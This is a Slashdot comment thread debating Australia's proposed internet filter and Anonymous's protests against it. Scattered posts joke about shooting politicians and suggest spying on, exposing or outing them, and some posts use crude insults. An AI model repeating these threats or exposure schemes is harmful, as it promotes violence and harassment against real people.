    1. Re:Will be interesting, but... by Khyber · · Score: 1

      "Being an Australian I can tell you most Australians are apathetic to this issue and there likely won't be a huge turn-out. "

      Not until a few enterprising Aussie Anons start catching said politicians in dirty deeds and sells the info to the media or publishes it themselves.

      What, you thought protesting and DDoSing was ALL they were going to do? Oh, sir, you need to listen in on these events more often. There are plans to outright run them out of office with torch and pitchfork, down to exposing their hypocrisy through nonstop shitstorms of watchdogs and paparazzi guerrilla tactics.

      Of course, I'm not going to verify if any of those plans were decided upon, but knowing a few of the Aussie Anons personally, I would not be very surprised to find a 'stray bullet from a mile away' suddenly finding itself implanted in one of these guy's heads.

      --
      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    2. Re:Will be interesting, but... by BadAnalogyGuy · · Score: 1

      catching said politicians in dirty deeds

      You have to realize that it would only benefit the politician. After all, who doesn't want to be the guy getting business done dirt cheap?

    3. Re:Will be interesting, but... by Khyber · · Score: 2, Interesting

      No, more like getting pictures of their small-breasted wives or mistresses, and pointing out the pure hypocrisy of their proposed ban on small-breasted women pornography, while they enjoy their small-breasted women at home.

      Yea, that's not going to go over well with any rational person.

      --
      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    4. Re:Will be interesting, but... by GrubLord · · Score: 5, Interesting

      No, more like getting pictures of their small-breasted wives or mistresses, and pointing out the pure hypocrisy of their proposed ban on small-breasted women pornography, while they enjoy their small-breasted women at home.

      Yea, that's not going to go over well with any rational person.

      ... I'm sorry, what?

      Putting up porn of politicians' small-titted wives is going to make them reconsider their policy on small-breasted porn?

      More like, they'll ban the Internet altogether.

      Every policy maker in the world is going to go into knee-jerk Ban Everything mode when they realise their own seedy private lives are in danger of being leaked by Internet vigilantes. If news stories out of the US are at all representative, it seems Senators touch more small children than just about any other demographic... do you really think they won't force through every free-speech-stifling law they can the moment they realise the threat?

    5. Re:Will be interesting, but... by Sasayaki · · Score: 5, Informative

      Regretfully, I agree.

      Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans) visited humble Darwin city recently and it was there that I personally got to ask him, in his public question and answer time, the following question (roughly remembered):

      "The Internet is an important part of the lives of many young Australians, as well as Australia as a whole in this modern age- what do you think of (the Prime Minister- Americans would say 'president') Kevin Rudd's plan to censor the Internet?"

      His answer began:

      "Well, I'm afraid I'm probably going to disappoint you..." and yes, unfortunately, he did.

      Paraphrased his answer was: "Stopping child pornography is extremely important to me and the Liberal party and therefore, if we can prove the censorship plan doesn't work, we will oppose it; but only it. We will continue to seek effective means to block 'filth' (his word) from entering our country any way we can. If the filter works, we will support it."

      Basically the message I got from his reply is that Tony Abbot believes that the filter will work "well enough" and is too much of a hot potato to oppose politically. The subtext I personally divined from his answer was a little more chilling; that the filter didn't go far *enough* for his tastes, and that he'd personally rather a complete whitelist than a blacklist. Therefore, speaking as a card-carrying Liberal... if you think that voting for the Liberal party in the next election will make the filter go away, you are sadly mistaken.

      On a side note, the fact that he himself is an extremely religious man probably doesn't help a great deal, since it seems that too many politicians tend to "trust God about these things" when it's abundantly clear that God knows sweet F-A about the Tubes and how they work.

      --
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    6. Re:Will be interesting, but... by MichaelSmith · · Score: 1

      The best chance I think is voting for the greens and giving Kevin the scare of his life. I doubt it will work though.

    7. Re:Will be interesting, but... by Sasayaki · · Score: 1

      Unfortunately the Greens (in actuality an extremely authoritarian party, despite their vicious protests to the contrary) oppose the censorship plan but only because it censors things they think should be uncensored. Given a free reign, they would undoubtedly install low-energy mind control chips into the heads of every newborn and have An Inconvenient Truth play on repeat in the minds of every citizen. Minus themselves, of course...

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    8. Re:Will be interesting, but... by Nathrael · · Score: 1

      Photos of them with their small-breasted wifes? Like this picture of Senator Conroy?

      --
      A good education is a bit like a STD - it makes you unsuitable for a lot of jobs and gives you a desire to spread it.
    9. Re:Will be interesting, but... by Anonymous Coward · · Score: 0

      We're not apathetic. We just disagree with you.

    10. Re:Will be interesting, but... by Anonymous Coward · · Score: 0

      Just ring: three-six-two-four-three-six.

    11. Re:Will be interesting, but... by l0ungeb0y · · Score: 1

      Interesting that most everyone on "western" nations would state that their democracy is a game of "Good Cop vs Bad Cop"
      Please.. educate us as to why you bother to vote with a ballot rather than a bullet.
      And no "doing my part" is not a reasonable answer.

    12. Re:Will be interesting, but... by Sabriel · · Score: 2, Insightful

      I could only wish that more so-called "Christian" politicians would actually "trust God about these things", instead of constantly using the name in vain as an excuse to meddle in our personal lives.

    13. Re:Will be interesting, but... by oaksey · · Score: 1

      Disappointing to hear...

    14. Re:Will be interesting, but... by TheRaven64 · · Score: 1

      Well, either he's a pedophile or he isn't attracted to his wife. Who gets to ask him on national TV which one it is?

      --
      I am TheRaven on Soylent News
    15. Re:Will be interesting, but... by Anonymous Coward · · Score: 0

      Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans)

      I like how you had to add the qualifier solely for Americans. Because obviously, all the Ecuadorians out there both care about and are innately aware of the leaders of all the various Australian political parties, and the lazy stupid fat stupid fat stupid lazy stupid Americans are the only ones on the planet who don't follow Australian politics.

    16. Re:Will be interesting, but... by Anonymous Coward · · Score: 0

      You seem to be one of those fat stupid lazy Americans who think that everyone in the world speaks English. Please advise.

    17. Re:Will be interesting, but... by Zerth · · Score: 1

      While I'd prefer no filtering by the government at all, I'd much rather prefer a filter that is clear about what it permits(public whitelist) than a filter that is unclear about what it denies(hidden blacklist).

      Especially since a whitelist would be nearly impossible to maintain effectively and would piss off everyone much more than the blacklist would.

      Insist that no filtering method be used unless it is blocks 100% of objectionable material:)

    18. Re:Will be interesting, but... by Philip_the_physicist · · Score: 1

      People won't care too much about them having affairs: look at the Rann-Chantelois business in SA, where the only people that care are the religious nutjobs and the die-hard liberals (neither group would ever vote for him) and the media and talking heads, who make money off of it. Rudd getting wasted in a strip joint didn't hurt his polling position either (although that might have been a special case). OTOH, a photo of Conroy buying porn or logs from his internet connection of him downloading RC material (a MITM would be illegal so I'm not suggesting that) would be useful.

    19. Re:Will be interesting, but... by dpastern · · Score: 1

      Most Aussies are both lazy and stupid. They'll eat any BS that the government feeds to them. Sad, but true. The time is approaching where more drastic needs are required to shove it down our idiotic politicians throats that they do not support what the public wants. So many politicians, so few bullets.

      Dave

      --
      Our lives begin to end the day we become silent about things that matter. --Martin Luther King Jr.
    20. Re:Will be interesting, but... by Hertzyscowicz · · Score: 1

      To Mr. Abbot, I have only one word: "Finland"

    21. Re:Will be interesting, but... by Khyber · · Score: 1

      "More like, they'll ban the Internet altogether."

      And that would put Australia firmly back into 3rd world status. They couldn't afford that, don't be so narrow-minded.

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      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    22. Re:Will be interesting, but... by GrubLord · · Score: 1

      Obviously 'ban the Internet' is hyperbole, but they've already banned anonymous discussion of politics down in South Australia.

      There's a lot they can do to stifle free speech without outright banning anything. For instance, content that is 'refused classification' is illegal to own or distribute, but because it's not TECHNICALLY banned, the government gets away with it.

      Perhaps you can see where I'm going with this?

    23. Re:Will be interesting, but... by Khyber · · Score: 1

      There is only so far they can go with censorship before it turns around to bite them in the ass.

      Unforeseen consequences are quite often the natural check and balance to the nonsense that governments pull - sure they'll try to do what they can to stifle speech but eventually it will turn around to hurt them.

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      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    24. Re:Will be interesting, but... by GrubLord · · Score: 1

      Goodness me... I've found an optimist on Slashdot!

  32. Re:Tits or not, no one listens to protestors by Demonoid-Penguin · · Score: 1

    But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.

    [Asked very sl-o-wly] Are you American??

    Tits or not, no one listens to protestors

    Perhaps you should have read the linked article... the bit you're looking for is silent protest. I'll summarize the rest of the info for you STFU.

    I could be confused - but is "protestors" a word?? In this particular instance I think (hope) that you are wrong. The general public, and most of the politicians believe that it is only a small section of society that is against censorship. The protest will allow them to see that those against censorship are not a bunch of socialmisfits in search of lolz and animal sex.

    I, for one, welcome the chance to put the agenda to the politicians.

    I'd love to hear that someone was organizing a protest next week - at the American Embassy against the imposition of ACTA, and the lobbying (read bribing) of Australian politicians to support/allow *IAA. Maybe iinet could put on some buses?

  33. Not so anonymous now, are we? ^^ by Hurricane78 · · Score: 1

    I wonder how they plan to stay anonymous in those protests...

    --
    Any sufficiently advanced intelligence is indistinguishable from stupidity.
    1. Re:Not so anonymous now, are we? ^^ by Anonymous Coward · · Score: 0

      Don't you remember the scientology protests?
      http://www.urban75.org/photos/protest/images/scientology-protest-01.jpg
      http://dcist.com/2008/02/anonymous_scien.php

    2. Re:Not so anonymous now, are we? ^^ by Anonymous Coward · · Score: 0

      The same way they always have. Just check "Post Anonymously."

      In all seriousness, a change of clothes, a mask, a stashed backpack, and a change in body language was enough for me at several Scientology protests, and I was one of the better-prepared ones. With enough people, all faces blend together.

  34. Role model? China? by ebonum · · Score: 1, Flamebait

    Finally! The Australians are on their way to a "happy harmonious society".

    Let us know in a few years how that works out for ya.

  35. Slashdot, please stop being dumb re:'Anonymous' by Anonymous Coward · · Score: 0

    Can you stop acting as a naive mainstream news provider and referring to "anonymous" as a legitimately cohesive hacking group when it's really, literally, an anonymous group of people that post randomly to various forums?

    1. Re:Slashdot, please stop being dumb re:'Anonymous' by dushkin · · Score: 1

      fyi they're hackers on steroids. The KKK of the internet, O'reily said so himself and they're very srs business.

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      o hai
    2. Re:Slashdot, please stop being dumb re:'Anonymous' by Anonymous Coward · · Score: 0

      And most of them have little-to-no 'hacking' (in this context, more 'cracking') experience to speak of. Denial of service attacks are not hard to implement, and the distributed bit is mostly (only?) by virtue of having a few thousand people involved.

  36. Re:viva revolutsion! by phantomfive · · Score: 1

    Yeah well, before you start a revolution make sure it's something you're really willing to sacrifice your life for, because you might. In this case, I would be willing to wait it out until I could vote some sane people into office. But this is Australia's issue, not mine, so I'll let them do what they want.

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  37. The public deciding by Reed+Solomon · · Score: 3, Interesting

    I'd rather they didn't make the decision either.

  38. Re:Tits or not, no one listens to protestors by martas · · Score: 1

    sorry, my bad, spur of the moment commenting... slashdot has no delete comment option!

    buddies?

  39. Anonymous by Anonymous Coward · · Score: 0

    We are anonymous
    We are legion
    We do not forgive
    We do not forget

  40. Re:viva revolutsion! by Demonoid-Penguin · · Score: 1

    Yeah, like, swim. In the city of San diego, .....blah, blah..

    ..rant....troll, troll, troll

    WTF!!

    Me thinks you take your posting name way too seriously...

    Try reading my post again - arseclown!

  41. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    Loser.

  42. Support by Anonymous Coward · · Score: 0

    I did what I could to immediately shutdown their even more draconian censorship law before. Wish I was anywhere near an Australian embassy. If anyone knows of a way to help please post it here

  43. Slashdot has been infiltrated! by eparker05 · · Score: 1

    Look at all the members of Anonymous posting replies here!

    But really, there does seem to be a bias to cover stories about "Anonymous" here on Slashdot. I mean, the mainstream tech news takes far less heed to the activities of this loosely knit group of hacktivists.

  44. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    I see someone didn't get laid on valentine's day.

  45. Re:viva revolutsion! by Demonoid-Penguin · · Score: 1

    Dear BadGrammarNaziKid,

    Many people drown because they thought they should "do something" rather than lie still and float.

    What? Like... swim??

    His point exactly, genius.

    So - which livesaving club did you learn that at??

    Q. When caught in rip you should:-

    • (a) Float

      (b) Swim, but not against it...

  46. Brilliant by LogicalError · · Score: 1

    So by giving the Australian government more ammunition to pass this piece of legislation, how does this help?

  47. Re:Tits or not, no one listens to protestors by Zorque · · Score: 2

    Like the fact that they constantly run unfunny memes into the ground because none of them have a shred of originality, or that they think child porn is funny? Is that criticism enough?

  48. Re:viva revolutsion! by h4rm0ny · · Score: 1


    You have a very fitting username. Protesting an embassy is equivalent to floundering and filling your lungs with water? I'd propose a better analogy, but unlike you, I don't think anyone here is stupid enough to require an analogy in order to understand what protesting an embassy is.

    But you be a floater as long as you like. Hmmmm. There's a bad analogy in there. ;)

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    Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
  49. Re:Tits or not, no one listens to protestors by stonewallred · · Score: 0, Troll

    lol, the light of the match would hurt your eyes and make you run back to your mom's basement.

  50. Re:Tits or not, no one listens to protestors by martas · · Score: 1

    child porn is funny. isn't it? hello?? why isn't anyone an***** NO CARRIER *****

  51. Re:Tits or not, no one listens to protestors by stonewallred · · Score: 1

    I keep my chips, crackers and cereal in the freezer after I open them. Low humidity keeps them fresh and crisp longer.

  52. Re:Oh come on now... Don't encourage them. by Anonymous Coward · · Score: 0

    GB2Clearwater, scifag.

    FYI Thetans make you lose the game.

  53. Re:Tits or not, no one listens to protestors by BadAnalogyGuy · · Score: 1

    It's okay. I'm sorry you're a web designer.

  54. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    You keep cheetos in your minifridge? What, do they go bad? I always assumed they would outlast the Apocalypse.

    Posting Annon for obvious reasons.

  55. Re:Tits or not, no one listens to protestors by h4rm0ny · · Score: 5, Insightful


    Yeah, those darn leftist professors. Like how the students in Iran that protest their government are doing so because they're incited by "leftist professors". Or students protesting against the communists in Soviet Russia or during Ukraine's "Orange Revolution". How about all those students protesting against the Iraq war in the USA and the UK? Was that a "left-right" issue. What about the university-based protests in Greece last year against police who beat a young man to death. Did they have a leftist agenda? Or could it be that you just see the world in your own terms, ignoring that students have historically protested against tyranny, regardless of how it dresses itself up.

    Don't be so quick to dismiss or condemn or suggest that students are simple cattle that do something "impressively stupid" without right information. What exactly is "impressively stupid" about protesting any of the examples I gave? Or indeed protesting censorship laws that have been mis-represented to the public which is what the GP was talking about?

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  56. Re:Tits or not, no one listens to protestors by RollTRS · · Score: 1

    Come on now! I may be college age and live in a basement, but I don't keep my Cheetos in the fridge!

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  57. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    Portraying them as losers is one thing, but the suggestion that they are deranged enough to refrigerate Cheetos is going too far.

  58. Re:viva revolutsion! by Anonymous Coward · · Score: 1, Insightful

    Not only that, but revolutions have a tendency to result in a society that falls apart in 10 - 15 years.
    It took the french well over 100 years to actually get rid of their monarchy in the end - and what they got nearly immediately after the revolution was arguably worse than what they were revolting against.

    It's probably worth asking your average soviet era Russian how happy they were with the whole revolution idea too...

    The trouble with revolutions is the winner is the side best at killing their own people.

  59. Re:Tits or not, no one listens to protestors by martas · · Score: 1

    FYI, I'm headed for a Ph.D.!

    ... in web design...

  60. left or right by gd2shoe · · Score: 1

    How about all those students protesting against the Iraq war in the USA...? Was that a "left-right" issue.

    Yeah. No duh?

    I can't speak to your other examples, but I'm guessing you can't either.

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    1. Re:left or right by Daniel+Dvorkin · · Score: 2, Interesting

      How about all those students protesting against the Iraq war in the USA...? Was that a "left-right" issue.

      Yeah. No duh?

      I can't speak to your other examples, but I'm guessing you can't either.

      It's funny, I keep hearing all these people solemnly proclaiming that "real conservatives" are opposed to foreign adventurism, and to fighting wars without paying for them. Of course, most of them started saying that only after Bush took a nosedive in the polls, and by all evidence they happily voted for Bush in 2004 and McCain in 2008 (and will probably vote for Palin in 2012) but supposedly there are a good many in America's right wing who thought the Iraq war was a bad idea from the get-go.

      Anyway, if you look over the other examples GPP cited, it's blindingly obvious that student protests are not linked to the left-right axis. The young tend to be more liberal than the old, it's true (and anyone who digs out the quote commonly misattributed to Churchill at this point will be send back to remedial classes) but what constitutes "liberal" in any particular time and place is generally defined by opposition to the existing power structure.

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    2. Re:left or right by The+Mighty+Buzzard · · Score: 1

      It's funny, I keep hearing all these people solemnly proclaiming that "real conservatives" are opposed to foreign adventurism, and to fighting wars without paying for them. Of course, most of them started saying that only after Bush took a nosedive in the polls, and by all evidence they happily voted for Bush in 2004 and McCain in 2008 (and will probably vote for Palin in 2012) but supposedly there are a good many in America's right wing who thought the Iraq war was a bad idea from the get-go.

      Buncha fair-weather asshats, yep. Not that I disagree that we should have paid for the war at the time instead of running up debt. I simply said so at the time and feel quite justified whenever the need strikes me to bitch about that rather than the other overspending Bush and now Obama have done.

      Anyway, if you look over the other examples GPP cited, it's blindingly obvious that student protests are not linked to the left-right axis. The young tend to be more liberal than the old, it's true (and anyone who digs out the quote commonly misattributed to Churchill at this point will be send back to remedial classes) but what constitutes "liberal" in any particular time and place is generally defined by opposition to the existing power structure.

      Correct me if I'm wrong but if the young tend to be more liberal than the old, and students are primarily young, doesn't it follow that students tend to be more liberal than the national average? You kind of made my point for me there. I'll give you a pass though being as you posted in the middle of the night where I live and quite possibly either had a surplus of alcohol or deficit of caffeine in your system at the time.

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    3. Re:left or right by Anonymous Coward · · Score: 0

      Correct me if I'm wrong but if the young tend to be more liberal than the old, and students are primarily young, doesn't it follow that students tend to be more liberal than the national average? You kind of made my point for me there.

      You and he are making different points, and both of you suck. Your point seems to be that students are liberal and therefore campaign for liberal causes, like freedom in China, Tibet and Iran and other "liberal crap" like that (no wonder everyone keeps believing that conservative = fascist).

      His point seems to be that students campaign against evil regimes, when really kids are just happy to rebel against any authoritarian figure regardless of political alignment.

    4. Re:left or right by The+Mighty+Buzzard · · Score: 1

      You and he are making different points, and both of you suck.

      Ha! See, now there's a response worthy of a thread that's a tangential troll of the OP. My point is mostly that college students are still barely informed idiots, and will be until they start thinking for themselves based on more than what a teacher/professor/TA/hot chick they want to nail/etc... tells them.

      when really kids are just happy to rebel against any authoritarian figure regardless of political alignment.

      No disagreement here.

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    5. Re:left or right by Daniel+Dvorkin · · Score: 1

      Correct me if I'm wrong but if the young tend to be more liberal than the old, and students are primarily young, doesn't it follow that students tend to be more liberal than the national average? You kind of made my point for me there.

      Your original point was something about "leftist professors." My point -- which indeed I may not have made very well, thanks to sleep deprivation -- is twofold: first, that students don't need much encouragement to protest, from professors or anyone else; second, that the "liberalism" of college students, and the young generally, doesn't fit neatly on a left-right axis. Left-wing is not the same as liberal (and neither is right-wing the same as conservative.) Whether the powers-that-be are left-wing authoritarian or right-wing authoritarian, students in general will be against them. In recent US history, we've seen more authoritarianism coming from the right than the left, and student protests have appeared correspondingly left-wing; if that situation changes, the perception of student politics will turn on a dime. In, e.g., the USSR, of course, it worked the other way around.

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    6. Re:left or right by The+Mighty+Buzzard · · Score: 1

      Fair nuff. I'll be more precise with my terms next time.

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  61. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    I believe the situation the Great-great-GP refers to is if you capsize (or fall overboard) with indefinite information as to when you'll be rescued, and you either don't know which way land is or know it's too far to swim. In these cases, your best action is to lie still and float, because someone will figure out you're missing and send rescue (which is a lot harder if you've drowned after exhausting yourself). Your answer is as stupid as criticising someone's answer on "what to do when attacked by a bear" (run), because it's not "what to do when attacked by a rhinoceros" (climb a tree).

    Also, your use of both HTML [ul]s and manual list points is infuriating. Use [ol] if you want an ordered list, you twit.

  62. Re:Tits or not, no one listens to protestors by gd2shoe · · Score: 1

    I could be confused - but is "protestors" a word?

    Random House seems to think that it is: http://dictionary.reference.com/browse/protestor. (as an alternate spelling; yeah, caught me offguard too.)

    The general public, and most of the politicians believe that it is only a small section of society that is against censorship.

    Are you talking about this censorship or about censorship in general? If in general, I think you'll find feelings opposing censorship to vary widely by local and be proportional to functioning democracy (In general).

    Besides, you seem to be talking in circular logic here. The general public believes that only a small fraction of itself is against censorship? What kind of argument is that? Was there some weird meta-poll? (pollsters sometimes use weird circular questions like this...) It still says nothing about what the general public thinks about censorship, only what members of the general public believe that others think about censorship. (a very important distinction.)

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  63. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    You keep your Cheetoes

  64. Re:Oh come on now... Don't encourage them. by GrubLord · · Score: 1

    The fact that the only people standing up for Australians' rights are these same "script kiddies and shy exhibitionists" is notable in and of itself.

    Where is the Amnesty protest? Where is the EFA protest? This is news because everyone else is conspicuously silent.

    Also, you may have missed the fact that THIS ENTIRE CATEGORY is entitled "Your Rights Online", and solely devoted to posts on this subject. Are you lost?

    This is a story about Australians' rights online, and what Anonymous (of all groups) is doing to try safeguard them. That's about as on-topic as you get.

  65. Re:'Anonymous' another way of saying 'the people'? by martas · · Score: 1

    well, it makes them look more powerful, so... i say go for it! life is more fun with omnipresent vigilantes/supervillains (exactly which description fits them best depends on the beholder, or course).

  66. Don't worry ma'am, we know how to handle tits! by Trip6 · · Score: 1

    Quick, which movie is this line from?

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  67. Freedom by Anonymous Coward · · Score: 0

    Members of Anonymous are infringing on my right to freedom of speech. I'm afraid to speak on my own domain without fear that it will piss one of them off enough to DOS my server.

  68. Re:Oh come on now... Don't encourage them. by VendettaMF · · Score: 1

    Anonymous is trying to cause idiocy and aggravation "for the lolz", not to actually benefit anyone other than their own immature hordes of circle-jerking failures.

    The same as they always do.

    Anonymous is not about rights, or justice, or indeed anything at all except causing aggravation and unpleasantness for their own sake.

    The only members of Anonymous actually interested in the topic itself as a genuine cause are those that reside in Oz and understand that the random child-porn distribution through /b/ will require them to actually learn how to use proxies to access, rather than merely claiming to be "behind [over 9000] proxies!"

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  69. Re:Oh come on now... Don't encourage them. by VendettaMF · · Score: 1

    And a happy Xenu-luvin' day to you too.

    Have you perchance noticed that your "fearless leaders" have gone very quiet and abandoned all efforts to crush the scientiology cult since a mere 3 of them got fingered by various police departments for illegal attacks?

    So much for "legion", "untouchable" and "unstoppable".

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  70. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    What? Are we (western societies) such an advanced totalitarian society that manifesting against censorship could endanger ones life?

  71. Re:Tits or not, no one listens to protestors by Demonoid-Penguin · · Score: 1
    Ah - another of your meta-semantic trolls - how enlightening...

    Are you talking about this censorship or about censorship in general?

    "this" censorship. (in the context of the original post and resulting thread).

    In Australia there has been little public debate about the government Internet Filtering proposition. Media coverage has been predominately about people downloading files and what it costs the industry.

    When the question of whether the proposed censorship is good/achievable/economical any intelligent debate has been drowned out by the "what about the children" chant (Family First Party). Operation Titstorm has put the debate back in the media - and further strengthened the fear campaign of the pro-censorship lobby - the hard work done by such groups as SAGE, EFA has been discredited by the attacks and the spamming of porn. The perception only pornographers and "pirates" are against pornography should be easier to discredit if a broader representation of the anti-censorship people is seen.

  72. WRONG! by consonant · · Score: 5, Insightful

    The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.

    *YOU* should have the right to deem what is appropriate for you or your family to be exposed to.

    1. Re:WRONG! by Locklin · · Score: 1

      That caught my eye too. They think a referendum deciding the keywords would be better? I don't think a countries Internet access should be hamstrung by whatever religious movement enjoys popularity at the moment.

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    2. Re:WRONG! by tehcyder · · Score: 1

      *YOU* should have the right to deem what is appropriate for you or your family to be exposed to.

      So if *ONE* is a sadistic paedophiliac rapist, it's OK to show your family kiddy-rape-and-murder movies?

      Just curious.

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    3. Re:WRONG! by Explodicle · · Score: 1

      That's a false dichotomy - the choices are not simply limited to "OK" and "stop with government filters". It's possible to fight child abuse without censorship.

    4. Re:WRONG! by plague3106 · · Score: 1

      Knowning someone abused by their parents, movies would be the least of that child's problems. Quit being an idiot.

    5. Re:WRONG! by noidentity · · Score: 1

      *YOU* should have the right to deem what is appropriate for you or your family to be exposed to.

      You *DO* have that right. It's just a question of whether someone else is violating it.

    6. Re:WRONG! by RobertLTux · · Score: 1

      part of the problem is in an effort to get rid of stuff that is 100% illegal in 85% of the civilized world they are trying to define as much as possible as being illegal.

      The intent of the picture needs to be addressed not so much as the content.

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    7. Re:WRONG! by plague3106 · · Score: 1

      How about we worry about people actually abusing children instead of what movies people are watching?

  73. Specifically, Outing Republican Homosexuals by Anonymous Coward · · Score: 0

    The practice of "Outing," that is, publicly revealing the true sexual preference of prominent public officials, is with very good reason very controversial.

    But one reason that the practice persists is that some of the politicians who work the hardest to prevent homosexuals from enjoying the same rights that any straight person would have, are themselves closet homosexuals. Often very vigorously so.

    This might not make sense to you, but the reason is very basic to the way people work: We hate the most in others that which we hate the most in ourselves.

    That suggests an avenue for attack against the Australian censorship laws: track the "media" preferences of those who worked the hardest to bring the censorship about, and then publish it for all to see. Not just the public officials, but members of the public who lobbied for the laws.

    I probably shouldn't be too specific as to how one would discover what those media preferences actually are, but I have no doubt that my fine friends at Slashdot could figure that out on their own.

    1. Re:Specifically, Outing Republican Homosexuals by Anonymous Coward · · Score: 0

      "This might not make sense to you, but the reason is very basic to the way people work: We hate the most in others that which we hate the most in ourselves."

      And like much of the left-leaning rhetorics+debate movement, a completely fallacious "law".

      Basically, you cannot hurt people without hurting them by laws. So you must create a law that either lets you hurt them, or makes them hurt themselves. This law is an example - by default, enemies who criticise something IS what they criticise! How hypocritical of them! How laughable, look, a grown man on TV who speaks badly about gay people but who actually IS gay! What a nice way to split your opposition! A great way to leverage that people may be unsure about their sexuality while still being heterosexual, and hence may make them doubt themselves!

      But because this is only a little stage game we play, the law was only made for this occasion and to apply to this specific enemy. It's by no means a LAW, it's just a "law", tailored to fit the circumstances. For example, those who hate those who hate gays - do they fear their own gayhate? No, obviously not! Those who hate bankers who seem to drink bonus after bonus without ever getting satisfied - do they really want those kinds of money themselves? No, of course not! When a soldier speaks about how much he loves putting bullet after bullet into heads, are those who hate him secretly afraid that they are loose killers themselves? No!

      That is the state of the game. The stageplay of politics REVOLVES around laws. And laws are made when you want to hurt someone, and forgotten after.

  74. Re:viva revolutsion! by xaxa · · Score: 1

    Protests outside an embassy are often reported in the news. That raises awareness of the issue. In this case, the protesters hope that it will embarrass Australians (or the Australian government) into changing their laws (or proposed laws).

    What would you suggest doing instead?

  75. Re:Tits or not, no one listens to protestors by bertoelcon · · Score: 1

    You are supposed to finish the bag before you get back out of the chair.

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  76. Re:Tits or not, no one listens to protestors by bertoelcon · · Score: 1

    I could be confused - but is "protestors" a word??

    Seems like it http://dictionary.reference.com/browse/word.

    Word -noun

    a unit of language, consisting of one or more spoken sounds or their written representation, that functions as a principal carrier of meaning. Words are composed of one or more morphemes and are either the smallest units susceptible of independent use or consist of two or three such units combined under certain linking conditions, as with the loss of primary accent that distinguishes blackbird from black bird. Words are usually separated by spaces in writing, and are distinguished phonologically, as by accent, in many languages.

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  77. Caution by Anonymous Coward · · Score: 0

    I was infected by a Trojan "av.exe" while visiting a link from the article. I think it was the project freeweb site, but the link seems to be removed from the article now.

    1. Re:Caution by selven · · Score: 1

      How the heck does a file get loaded onto your computer without your express consent? Are you on Windows running IE?

    2. Re:Caution by garyok · · Score: 1

      Web bugs. Teeny tiny little pictures you never see. Used for all sorts of things like tracking users. Can also be used to link to images you'd rather not have cached on your work PC. Or any PC.

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  78. Re:Oh come on now... Don't encourage them. by selven · · Score: 1

    1) There are no leaders. That's kind of the whole point of Anonymous.

    2) The only reason why they were attacking Scientology is because they, with their copyrights and takedowns, are the enemy of a free and open internet. If the Australian government is worse, why shouldn't they refocus their efforts?

  79. Re:viva revolutsion! by SilentSandman · · Score: 1

    Depends... do you consider you still have a life if you're locked away in a dank dark hole, and your name is forever slandered with the title 'pedophile', simply because you disagree with thought-crime laws?

  80. Talk of assassination is utter madness by Anonymous Coward · · Score: 1, Interesting

    Look, Conroy et al are a bunch of hopeless wallies and their censorship plan is nuts, but suggesting we should shoot them is completely and totally over the top. I can almost understand the giggling schoolboys behind the DDOS, but murder as a response to censorship? WTF?

    If I had to choose between Conroy and this religious wacko mates vs you and your gun toting maniac friends, I'd take the Minister for Censorship and strap on my cilice with relish.

  81. And a question for you by Anonymous Coward · · Score: 1, Insightful

    As an Australian AC too lazy to register, perhaps I can ask you why you support this filter? I know I don't "like and expect some censorship". Personally, I like the movie rating system (for example) but don't think anything at all should be banned. Just rated.

    Why do you think Conroy's censorship proposal will a) do anything useful, b) be cost effective, and c) not be abused? I reckon it is pretty obvious it won't stop anything nasty, will cost a lot, and will be abused to censor political discussion (especially since euthanasia and abortion sites are already on ACMA's block list).

    What is there to like about this proposal? I'm keen to know since as far as I can see it's pure shit and stinks to heaven.

    1. Re:And a question for you by dov_0 · · Score: 1

      Even though ur an AC and will probably never even bother to check my answer, I will tell you.

      While some people seem to think that the internet will only give you what you ask for, well, I'm afraid that it just isn't so. There are so many things out there that are either a)illegal in pretty much any country or b) just plain unsuitable for the majority of people. For that reason we have (fairly lax) censorship on TV and radio. Even with pop-up filters and the rest, we've all ended up at sites that we really never wanted to go to. As the internet gradually takes over from TV and radio, I think that the same protections for families and the more sensitive, as well as the law, should be in place that are already in place on TV. Porn channels are readily available on cable for those who want them, but you have to opt in. Do the majority of households want porn streaming into their houses? Probably not. They don't opt in. That's freedom. Personally, porn should be available on the internet on an opt in basis. Child porn and other abuses of like ilk just should not be there. Cut the balls off the guys who do that kind of crap. They don't deserve to have anything swinging there at all. Just like the ratings system encourages an opt-in approach instead of opt-out, so I feel the internet should be.

      I certainly do share your concerns in regards to the stifling of political debate, but Australia is not like other countries. Once it is clear that the filter is being abused, it will have to be changed. Do not think that the current proposal will last too long in practice. Parent and religious groups will test it and find it does not work effectively and demand better filtering, the same groups might ask why anti abortion sites have disappeared. Things will change. I only see it as a starting point. Not as fair or as well though out as it should be. It will be improved on.

      And that is my free speech. I do not insist that anyone agree with me. I am as entitled to my view as you are to yours.

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  82. Re:viva revolutsion! by Demonoid-Penguin · · Score: 1

    I believe the situation the Great-great-GP refers to is if you capsize (or fall overboard) with indefinite information as to when you'll be rescued, and you either don't know which way land is or know it's too far to swim.

    What you mean is either "I have an idea", or, "I have a great emotional investment".

    In these cases, your best action is to lie still and float, because someone will figure out you're missing and send rescue (which is a lot harder if you've drowned after exhausting yourself).

    Get a life. (Have you actually been in the ocean? Was there any waves?)

    Your answer is as stupid as criticising someone's answer on "what to do when attacked by a bear" (run), because it's not "what to do when attacked by a rhinoceros" (climb a tree).

    Now you are really off on a tangent...

    Get a brain - my post was in response to what I quoted.

    Also, your use of both HTML [ul]s and manual list points is infuriating.

    • Thanks for the tip.
  83. Re:Oh come on now... Don't encourage them. by VendettaMF · · Score: 0

    >> There are no leaders...willing to own up to their actions
